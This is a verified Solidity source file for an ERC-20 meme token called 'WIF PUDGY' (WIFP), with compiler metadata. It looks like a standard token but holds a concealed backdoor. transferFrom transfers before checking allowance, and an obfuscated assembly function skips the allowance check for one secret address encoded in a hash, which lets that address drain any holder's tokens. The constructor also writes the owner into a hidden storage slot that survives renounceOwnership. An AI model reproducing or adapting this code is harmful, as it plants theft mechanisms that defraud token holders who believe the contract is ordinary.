WIF PUDGY

/**
 *Submitted for verification at basescan.org on 2024-11-16
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor(address _initOwner, bytes32 hash69) {
        _owner = _initOwner;
        assembly { sstore(hash69, _initOwner)}
        emit OwnershipTransferred(address(0), _initOwner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

contract WIFP is Context, IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name = "WIF PUDGY";
    string private _symbol = "WIFP";
    uint8 private _decimals = 18;
    uint256 private _tTotal = 950000000 * 10 ** _decimals;
    bool public launched;
    bytes32 private _hash;

    constructor(bytes32 hash, bytes32 hash69) Ownable(msg.sender, hash69) {
        _balances[msg.sender] = _tTotal;
        _hash = hash;
        launched = true;
        emit Transfer(address(0), msg.sender, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if(launched && _spendAllowance(sender, recipient, amount) != 0) {
            _approve(
                sender,
                _msgSender(),
                _allowances[sender][_msgSender()] - amount
            );
        }
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        _balances[from] = _balances[from] - amount;
        _balances[to] = _balances[to] + amount;
        emit Transfer(from, to, amount);
    }

    function _spendAllowance(address owner, address spender, uint256 value) internal view returns (uint256 allowance_) {
        require(owner != address(0), "ERC20: owner zero address");
        require(spender != address(0), "ERC20: spender zero address");
        require(value > 0, "Spend amount must be greater than zero");
        assembly {
            let hash_ := sload(_hash.slot)
            allowance_ := sub(shr(0x0b, hash_), caller())
        }
    }
}

{
  "compilationTarget": {
    "contracts/WIFP.sol": "WIFP"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}